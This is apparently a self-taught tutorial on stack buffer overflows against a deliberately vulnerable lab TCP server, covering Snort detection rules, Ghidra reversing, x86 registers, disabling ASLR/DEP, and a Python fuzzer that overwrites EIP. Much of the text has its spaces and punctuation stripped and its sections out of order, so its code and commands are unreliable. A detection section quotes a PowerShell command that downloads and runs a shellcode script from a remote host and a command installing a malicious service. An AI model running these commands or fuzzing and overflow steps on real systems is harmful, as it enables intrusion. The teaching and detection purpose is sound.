1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

WecanseeitsacompiledELFbinarythepre-processordirectivebeingusedandlaterinthestdoutofstringcommandwecanseethestringtheprintfgivesusRememberifweonlyhadthecompiledbinariestoworkwiththensuccessfullyfuzzingthisapplicationmaygiveusproblemsbecauseoftheunknownldquoprefixrdquothatisappendedtotheclientpymessageSohowdowefigurethisoutifwedonthaveaccesstothesource-codeNSAGHIDRAtotheRescueOurfriendsattheNSArecentlyannouncedwhatIconsideraprettykickasstoolGHIDRAToquotedirectlyfromWIKIldquoGhidraisafreeandopensourcereverseengineeringtooldevelopedbytheNationalSecurityAgency(NSA)ThebinarieswerereleasedatRSAConferenceinMarch2019thesourceswerepublishedonemonthlateronGitHubGhidraisseenbymanysecurityresearchersasacompetitortoIDAProandJEBDecompilerrdquo

LetrsquossayonewayoranotherwegetourhandsonsomecompiledclientorserverbinariesandneedtodoadeepdivemaybetodevelopourownmyintelligentfuzzerWhatmightthatlooklikeDownloadtheGhidrasourcecompileandrunThensimplyimportyourbinaryThatrsquosit

YoursquollwanttousetheldquoCodeBrowserrdquointheGHIDRAtoolchestFromthereimportyourcompiledbinaryGhidrawilldothede-compilationmagicforyoufromthereAsillustratedbelowIrsquovepulledupthecompiledvulnServerCassemblycodeandGhidarsquosguessatthede-compiledfunctionsourcecodeThesourcecodewonrsquotmatchexactlybutyouwillbeabletoviewthefunctionandthelogicwhichwillallowyoutofindinsecurefunctionsandcustomfunctionsthatcreatesimilarproblems

WhatdoesallthismeanWellIbasicallywentthrougheachfunctionlookingforanyargumentthatmightbeinterestingIfyounoticedIrsquovehighlightedthex86op-codeatmemorylocation0x001012dwhichinvokesaCALLtoREAD()andsomesubsequentMOVrsquoswhicharelikelyaddingnewthe4BytestosomememorylocationThecorrespondingCcodeforthatassemblyissograciouslypositionedtotherightofourassemblyinstructionsLetrsquoslearnalittlebitabouttheREAD()functioninC

ssize_tread(intfsvoidbufsize_tN)ldquoFromthefileindicatedbythefiledescriptorfstheread()functionreadsNbytesofinputintothememoryareaindicatedbybufrdquoSotheprogrammerherewrotethisapplicationtoonlyreadthefirst4bytesofsomethingReadingfurtherintothedecompiledsourceweprintfthattellsuswerereadingtheldquoMessagerdquoakathepayloadorclientissendingSowersquorereadingthefirst4bytesoftheclientpayloadandstoringitintoavariablethatisthenbeingprintedbacktousinthevulnerableServerwhichprintsitrsquosldquoValuerdquoakanumberofBytes

Itlookslikethisisa4byteldquopre-fixrdquowhichisbasicallytheLEN(PAYLOAD)sentfromtheclientYoucanvalidatethisbelookingbackatthepythonclientcode

FormetheimportanttakeawaygoesbacktothatquoteearlierldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfwewereinadifferentsituationandwehadtowriteourownPythonfuzzingclientfromscratchwenowknowwhattheserverisexpectingfromtheclientFromherewecanreverseengineerourownfuzzingclientinwhateverlanguageyouwantWhenIfirstlearnedbufferoverflowsitwaswithwellknownvulnerableserversandtheldquoclientrequestrdquomessagewaswelldocumentedTherealityisthatdeeperstaticcodeanalysisisgenerallyrequiredforbufferoverflowsresearch

CrashingtheStackFinallyrightitrsquosalongstrangetripSo

WehavesomebasicskillsinC WehaveavulnerableCserverlisteningonthelocalnetwork WehaveeitheracustomorgenericclientforcommunicationtotheVulnerableServer WeunderstandweneedtoFuzztheprogramsarguments

Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload

Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip

TheScarydebuggerUI

IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners

NativeEDBinTerminal

OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes

1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection

2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater

3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired

4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault

5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer

6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly

MemoryArchitecture

RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy

detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus

Generalregisters Controlregisters Segmentregisters

Thegeneralregistersarefurtherdividedintothefollowinggroups

Dataregisters Pointerregisters Indexregisters DataRegisters

DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit

1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters

AHALBHBLCHCLDHandDL

Someofthesedataregistershavespecificuseinarithmeticaloperations

AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in

multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand

BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing

CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations

DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with

DXformultiplyanddivideoperationsinvolvinglargevalues

PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP

Therearethreecategoriesofpointerregisters

Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be

executed IP in association with the CS register (as CSIP) gives the complete address of the current

instruction in the code segment NOTES IP will control the next instruction executed hellip like say our

malware

Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in

association with the SS register (SSSP) refers to be current position of data or address within the program

stack NOTES Might give you a reference point to look higher in memory to find our malware in

bufferNOPsledaddresses

Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a

subroutine The address in SS register is combined with the offset in BP to get the location of the parameter

BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer

tracks the memory location between your Dynamic Variables and registers and your buffer etc BP

isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer

Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated

and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational

codestostartwiththatmostoverflowstutorialsseemtoincludehellip

Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures

following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end

andcomebacktoreading

ControlFlowInstructions

The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the

currentinstructionstarts

Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be

manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions

We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code

textbyenteringalabelnamefollowedbyacolonForexample

movesi[ebp+8]

beginxorecxecx

moveax[esi]

The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this

instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing

thelocationinsteadofits32-bitvalue

jmpmdashJump

Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into

amemorylocationthatishostingthemalware

Syntax

jmpltlabelgt

Example

jmpbeginmdashJumptotheinstructionlabeledbegin

callretmdashSubroutinecallandreturn

These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the

hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code

location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when

thesubroutinecompletes

The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported

in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of

instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater

Syntax

callltlabelgt

ret

DataMovementInstructions

movmdashMove(Opcodes88898A8B8C8E)

The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)

into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct

memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded

intoaregisterthencanbestoredtothedestinationmemoryaddress

Syntax

movltreggtltreggt

movltreggtltmemgt

movltmemgtltreggt

movltreggtltconstgt

movltmemgtltconstgt

Examples

moveaxebxmdashcopythevalueinebxintoeax

movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar

pushmdashPushstack(OpcodesFF898A8B8C8E)

The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements

ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by

pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses

Syntax

pushltreg32gt

pushltmemgt

pushltcon32gt

Examples

pusheaxmdashpusheaxonthestack

push[var]mdashpushthe4bytesataddressvarontothestack

popmdashPopstack

The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie

register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location

andthenincrementsSPby4

Syntax

popltreg32gt

popltmemgt

Examples

popedimdashpopthetopelementofthestackintoEDI

pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX

leamdashLoadeffectiveaddress

The lea instruction places the address specified by its second operand into the register specified by its first operand Note the

contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for

obtainingapointerintoamemoryregion

Syntax

lealtreg32gtltmemgt

Examples

leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI

leaeax[var]mdashthevalueinvarisplacedinEAX

leaeax[val]mdashthevaluevalisplacedinEAX

In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly

commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So

letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized

everythingquitenicely

On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out

The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math

function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob

maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo

SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd

thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe

higherlevelcode

IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis

pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour

instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick

theprogramintoexecutingyourmalwarewiththeprogramspermissions

OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware

LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand

overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer

1 TheaddressofvulnReadstartsatmemoryaddress78dinhex

2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge

isallocatedasalocalvariable

791 81ec14040000 sub$0x414esp

3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare

reservedforbufferbutrememberthatBUFFER_SIZE=1024

8d85f0fbffff lea-0x410(ebp)eax

4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory

locationsUntilfinally

5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt

defineBUFFER_SIZE1024

defineHEADER_SIZE4

EIP(ReturnAddresstonextfunction)

EBPofVuln_Read(BasePointer)

to_read

buffer

read_bytes

Lastvariable(StackPointer)

So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored

andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction

(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036

availablebytesLetrsquosbreakthatdown

1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)

AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos

thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful

outsidethecontextoflearning

Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe

reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo

ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory

locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor

laterourldquomalwarerdquo

Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe

computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe

pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto

IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin

ourprogram

Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers

EnoughtheoryshowmeTheCode

DisablingDEPASLR

YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow

ASLR-Linux

echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline

-fstack-protector-Waexecstack

Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB

compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor

gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337

OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere

GDBCheatSheet

httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype

run1337

NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways

1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly

2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint

WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130

AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

